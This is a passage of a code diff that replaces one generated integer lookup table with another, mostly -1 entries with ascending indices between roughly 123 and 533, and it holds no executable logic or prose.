-       -1,  -1,  -1,  -1,  -1, 207,  -1,  -1, 208,  -1,
-       -1,  -1,  -1,  -1,  -1, 209,  -1,  -1,  -1,  -1,
-      210,  -1,  -1,  -1,  -1,  -1, 211, 212, 213,  -1,
-      214,  -1,  -1,  -1,  -1, 215,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 216,
-      217,  -1,  -1,  -1,  -1, 218, 219,  -1,  -1,  -1,
-       -1, 220,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      221, 222,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      223,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      224,  -1,  -1,  -1,  -1,  -1,  -1, 225,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1, 226,  -1,  -1,  -1,  -1,
-      227, 228,  -1,  -1,  -1, 229,  -1, 230,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1, 231, 232,  -1,  -1,  -1,
-       -1, 233,  -1,  -1,  -1, 234,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1, 235, 236,  -1, 237,  -1,
-       -1, 238,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      239,  -1, 240,  -1,  -1, 241,  -1,  -1,  -1,  -1,
-      242,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 243,  -1,  -1,  -1,  -1,  -1, 244,  -1,  -1,
-      245, 246, 247,  -1,  -1,  -1,  -1, 248,  -1,  -1,
-       -1, 249,  -1,  -1,  -1,  -1,  -1,  -1, 250,  -1,
-       -1, 251,  -1,  -1,  -1, 252, 253, 254,  -1,  -1,
-      255,  -1,  -1,  -1,  -1,  -1,  -1, 256,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 257,
-       -1, 258,  -1,  -1,  -1, 259,  -1,  -1,  -1,  -1,
-      260, 261,  -1,  -1,  -1,  -1,  -1, 262,  -1,  -1,
-      263,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 264,  -1,  -1,
-       -1, 265,  -1,  -1, 266,  -1,  -1, 267,  -1,  -1,
-       -1,  -1, 268,  -1,  -1,  -1,  -1, 269,  -1,  -1,
-       -1, 270,  -1,  -1,  -1, 271,  -1,  -1, 272,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      273,  -1,  -1,  -1,  -1, 274, 275,  -1,  -1,  -1,
-       -1,  -1,  -1, 276,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1, 277,  -1, 278,  -1,  -1,  -1,
-       -1,  -1, 279,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      280,  -1,  -1,  -1,  -1,  -1, 281,  -1,  -1,  -1,
-       -1, 282,  -1,  -1,  -1, 283,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 284,  -1,  -1,  -1,  -1,  -1, 285,  -1,
-       -1,  -1,  -1, 286,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 287, 288,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 289,  -1, 290,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 291,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 292,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 293,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 294,  -1,  -1,  -1,  -1,  -1, 295,  -1,  -1,
-      296,  -1, 297,  -1,  -1, 298,  -1,  -1,  -1,  -1,
-       -1, 299,  -1,  -1,  -1, 300,  -1,  -1,  -1,  -1,
-      301, 302, 303, 304,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1, 305,  -1, 306,  -1, 307,  -1,  -1,
-       -1, 308,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 309,  -1,  -1,  -1, 310, 311,  -1,  -1,
-       -1, 312,  -1,  -1,  -1,  -1, 313,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 314,  -1,  -1,  -1,  -1,  -1,  -1, 315,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 123,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 124,
+      125, 126, 127,  -1,  -1, 128,  -1,  -1, 129,  -1,
+       -1, 130,  -1, 131,  -1, 132,  -1, 133,  -1,  -1,
+       -1, 134, 135, 136,  -1,  -1, 137,  -1,  -1,  -1,
+       -1,  -1, 138, 139,  -1, 140,  -1, 141,  -1,  -1,
+      142, 143,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      144,  -1,  -1, 145, 146,  -1,  -1,  -1, 147,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1, 148, 149,  -1,  -1,
+       -1, 150,  -1,  -1,  -1, 151,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 152,  -1,  -1,  -1,  -1,
+       -1,  -1, 153,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 154,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 155,  -1,  -1,  -1, 156,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 157,  -1,  -1,  -1,  -1, 158,  -1,  -1,  -1,
+       -1, 159,  -1,  -1,  -1, 160,  -1,  -1, 161,  -1,
+      162, 163,  -1,  -1,  -1, 164,  -1,  -1,  -1,  -1,
+      165,  -1,  -1, 166,  -1, 167,  -1, 168, 169,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 170,  -1,  -1,
+      171,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 172, 173,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      174, 175,  -1,  -1,  -1, 176,  -1,  -1,  -1, 177,
+      178,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      179,  -1,  -1,  -1,  -1,  -1, 180, 181,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      182,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 183,  -1,  -1,  -1, 184,  -1,  -1,  -1,  -1,
+      185,  -1,  -1,  -1,  -1,  -1,  -1, 186,  -1,  -1,
+       -1,  -1,  -1, 187,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1, 188,  -1, 189,  -1, 190,  -1,  -1,
+      191, 192,  -1,  -1,  -1,  -1,  -1,  -1, 193,  -1,
+      194, 195,  -1,  -1,  -1, 196, 197,  -1, 198, 199,
+      200, 201,  -1,  -1,  -1, 202, 203,  -1,  -1,  -1,
+      204,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 205, 206,
+       -1,  -1,  -1,  -1,  -1,  -1, 207, 208,  -1,  -1,
+       -1, 209, 210,  -1,  -1, 211,  -1,  -1, 212,  -1,
+      213, 214, 215,  -1,  -1, 216,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1, 217,  -1, 218,  -1,  -1,  -1,  -1,
+      219,  -1,  -1,  -1, 220, 221,  -1, 222,  -1,  -1,
+       -1,  -1, 223,  -1,  -1, 224, 225,  -1,  -1, 226,
+      227,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      228, 229,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 230,  -1,  -1,  -1,  -1,  -1, 231, 232,  -1,
+       -1,  -1,  -1, 233,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 234, 235,  -1,  -1, 236,  -1,  -1,  -1,  -1,
+      237,  -1,  -1, 238,  -1,  -1, 239, 240,  -1,  -1,
+       -1, 241,  -1,  -1,  -1,  -1, 242,  -1,  -1, 243,
+      244,  -1,  -1,  -1,  -1,  -1,  -1, 245,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 246, 247,  -1,  -1,  -1, 248,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 249,  -1,  -1,
+       -1, 250,  -1, 251,  -1, 252,  -1, 253, 254,  -1,
+       -1, 255, 256,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      257,  -1,  -1,  -1,  -1, 258,  -1, 259, 260,  -1,
+       -1, 261,  -1,  -1,  -1, 262,  -1,  -1,  -1,  -1,
+      263,  -1,  -1,  -1,  -1, 264, 265, 266,  -1,  -1,
+      267,  -1, 268,  -1,  -1, 269,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 270,  -1, 271,  -1, 272,
+       -1,  -1,  -1,  -1,  -1, 273,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 274, 275,
+      276, 277,  -1,  -1,  -1, 278,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 279,  -1,  -1,  -1,  -1,
+       -1, 280,  -1,  -1,  -1,  -1, 281, 282, 283,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 284,  -1,
+      285,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      286,  -1, 287,  -1,  -1,  -1, 288,  -1,  -1,  -1,
+      289,  -1,  -1,  -1,  -1, 290, 291, 292,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 293,  -1, 294,  -1, 295,  -1,  -1,  -1,  -1,
+      296, 297,  -1,  -1,  -1, 298,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1, 299,  -1,  -1,  -1, 300,  -1,  -1,
+       -1,  -1, 301,  -1, 302,  -1, 303, 304, 305,  -1,
+       -1,  -1,  -1,  -1,  -1, 306, 307,  -1,  -1,  -1,
+      308,  -1,  -1,  -1,  -1, 309,  -1, 310,  -1,  -1,
+       -1,  -1,  -1,  -1, 311,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 312,
+       -1,  -1, 313,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1, 314,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 315,
        -1, 316,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 317,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 318,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 319,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      320,  -1,  -1,  -1,  -1,  -1, 321,  -1,  -1,  -1,
-       -1, 322, 323,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1, 324,  -1,  -1, 325,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 326, 327,  -1, 328,
-       -1,  -1, 329,  -1,  -1, 330,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 331, 332,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 333,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1, 334,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 335,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 336,  -1,  -1,  -1,  -1, 337,  -1,  -1,  -1,
-       -1, 338,  -1,  -1,  -1,  -1,  -1, 339,  -1,  -1,
-       -1, 340,  -1,  -1,  -1, 341,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1, 342,  -1,  -1,  -1,  -1,
-      343,  -1,  -1,  -1,  -1, 344,  -1,  -1,  -1,  -1,
-      345,  -1,  -1,  -1,  -1, 346, 347,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 348,  -1,  -1,  -1,
-       -1,  -1, 349,  -1,  -1,  -1, 350,  -1,  -1,  -1,
-       -1,  -1, 351,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 352,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      353,  -1,  -1,  -1,  -1, 354, 355, 356,  -1,  -1,
-      357,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 358,  -1,  -1,
-       -1, 359,  -1,  -1,  -1,  -1, 360, 361, 362,  -1,
-       -1,  -1, 363,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 364,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 365, 366,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 367,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 368, 369,  -1, 370, 371,  -1,  -1,  -1, 372,
-       -1, 373,  -1,  -1,  -1,  -1,  -1, 374,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 375,  -1,
-       -1, 376, 377,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 378,  -1, 379,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 380,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 381, 382,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      383,  -1, 384,  -1,  -1,  -1, 385, 386,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 387,  -1,
-       -1, 388,  -1, 389,  -1,  -1, 390,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 391,  -1,  -1,  -1,
-       -1,  -1, 392,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1, 317,  -1,  -1, 318,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1, 319,  -1,  -1, 320,  -1,  -1,
+       -1, 321,  -1, 322,  -1,  -1,  -1, 323,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1, 324, 325,  -1,  -1,
+      326,  -1,  -1,  -1,  -1, 327,  -1,  -1,  -1,  -1,
+       -1, 328,  -1,  -1,  -1,  -1, 329,  -1,  -1,  -1,
+       -1, 330,  -1,  -1,  -1, 331,  -1,  -1,  -1,  -1,
+       -1, 332, 333,  -1,  -1,  -1, 334,  -1,  -1,  -1,
+       -1,  -1, 335,  -1,  -1,  -1,  -1, 336,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 337,  -1, 338,  -1,  -1,
+      339, 340,  -1,  -1,  -1,  -1,  -1, 341,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      342, 343,  -1,  -1,  -1, 344, 345, 346,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 347,  -1,  -1,  -1, 348,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1, 349,  -1,  -1,  -1,
+      350,  -1,  -1,  -1,  -1, 351, 352,  -1, 353,  -1,
+       -1,  -1,  -1, 354,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1, 355,  -1,  -1,  -1,  -1, 356,
+       -1,  -1, 357, 358,  -1,  -1,  -1, 359,  -1,  -1,
+       -1,  -1, 360, 361,  -1, 362, 363,  -1,  -1,  -1,
+       -1,  -1, 364, 365,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1, 366,  -1, 367, 368,  -1,  -1,
+       -1, 369, 370, 371, 372,  -1, 373,  -1,  -1,  -1,
+      374,  -1,  -1,  -1,  -1,  -1, 375, 376, 377,  -1,
+       -1, 378, 379,  -1,  -1, 380,  -1,  -1,  -1, 381,
+       -1,  -1,  -1,  -1, 382,  -1,  -1, 383,  -1, 384,
+       -1,  -1,  -1,  -1,  -1, 385,  -1,  -1, 386,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 387,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      388,  -1,  -1,  -1, 389,  -1, 390,  -1,  -1,  -1,
+       -1,  -1, 391,  -1, 392,  -1,  -1,  -1,  -1, 393,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 394,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      395,  -1, 396,  -1,  -1, 397,  -1,  -1,  -1,  -1,
+       -1, 398, 399,  -1,  -1,  -1,  -1, 400,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 401,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      402,  -1,  -1, 403,  -1, 404,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 405,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 406,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 407,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1, 408,  -1,  -1,  -1,
+       -1, 409, 410, 411,  -1, 412,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1, 413,  -1, 414,  -1,  -1, 415,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 416,  -1,
+       -1, 417,  -1,  -1,  -1,  -1, 418,  -1, 419,  -1,
+      420,  -1,  -1,  -1,  -1,  -1, 421,  -1,  -1,  -1,
+       -1, 422,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 423,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 424, 425,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 426,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      427,  -1, 428,  -1,  -1,  -1,  -1, 429,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 430,
+      431, 432,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 433,
+      434,  -1, 435,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 436,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1, 437,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      438,  -1, 439,  -1,  -1, 440, 441,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 442,  -1,  -1,
+       -1,  -1,  -1, 443,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 444,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 445,  -1,  -1,  -1, 446,  -1, 447,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 448,  -1, 449,  -1,  -1,
+      450,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 451,  -1,  -1,  -1,  -1,  -1,  -1, 452,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 453,  -1,  -1,  -1, 454,  -1, 455,  -1,  -1,
+      456,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 457,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 458,
+       -1,  -1, 459,  -1,  -1,  -1, 460,  -1,  -1,  -1,
+       -1, 461,  -1,  -1, 462, 463,  -1,  -1,  -1,  -1,
+       -1, 464,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 465,  -1,  -1,  -1,  -1, 466,  -1,  -1,
+       -1,  -1,  -1, 467,  -1,  -1,  -1,  -1,  -1,  -1,
+      468,  -1,  -1,  -1,  -1, 469,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1, 470, 471,  -1,  -1, 472, 473,
+       -1,  -1,  -1, 474,  -1,  -1,  -1, 475,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 476,  -1,  -1,
+       -1,  -1, 477,  -1,  -1,  -1,  -1, 478,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 479,  -1, 480,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1, 481, 482,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      483,  -1, 484,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 485,  -1,  -1, 486,  -1, 487,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1, 488, 489,  -1,  -1,  -1,  -1,
+       -1,  -1, 490,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 491,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 492,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 493,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 494,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 495,  -1,  -1,  -1,  -1,
+       -1, 496, 497,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 498,  -1,
+      499,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1, 500,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      393,  -1, 394,  -1,  -1,  -1, 395, 396,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 397,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 398,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 399, 400, 401,  -1,
-       -1, 402,  -1,  -1,  -1, 403,  -1,  -1, 404,  -1,
-       -1,  -1,  -1,  -1,  -1, 405, 406,  -1,  -1,  -1,
-       -1,  -1, 407, 408,  -1,  -1, 409,  -1,  -1,  -1,
-       -1, 410,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 411,  -1,  -1,
-      412,  -1,  -1,  -1,  -1,  -1,  -1, 413, 414,  -1,
-       -1,  -1,  -1, 415,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 416,  -1,  -1,  -1,  -1, 417,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1, 418, 419,  -1, 420,  -1,
-       -1, 421,  -1,  -1, 422,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1, 501,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 502,  -1,  -1, 503,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1, 504,  -1,  -1,  -1,  -1,  -1,  -1,
+      505, 506,  -1,  -1,  -1,  -1, 507,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 508, 509,  -1,  -1,  -1,
+       -1,  -1,  -1, 510,  -1,  -1,  -1,  -1, 511,  -1,
+       -1, 512,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 513,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 514,
+       -1,  -1,  -1, 515,  -1,  -1,  -1,  -1, 516,  -1,
+      517,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 423,  -1,
-       -1,  -1,  -1, 424,  -1,  -1, 425,  -1,  -1,  -1,
-       -1,  -1, 426,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 518,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 519,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1, 427,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1, 428,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 429,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      520,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 521,  -1,
+      522,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 523,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      430,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 431,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 524,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 525,
+       -1,  -1,  -1,  -1,  -1,  -1, 526,  -1,  -1,  -1,
+       -1, 527,  -1,  -1,  -1,  -1, 528,  -1,  -1,  -1,
+       -1,  -1, 529,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 530,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 432,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 433,  -1,  -1,  -1, 434, 435,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 436,  -1,  -1,
-       -1,  -1, 437,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 438,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 439,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 531,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 532,
+       -1,  -1, 533,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 440,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 441,  -1,
-       -1,  -1,  -1,  -1, 442,  -1,  -1, 443,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 444,  -1,  -1,
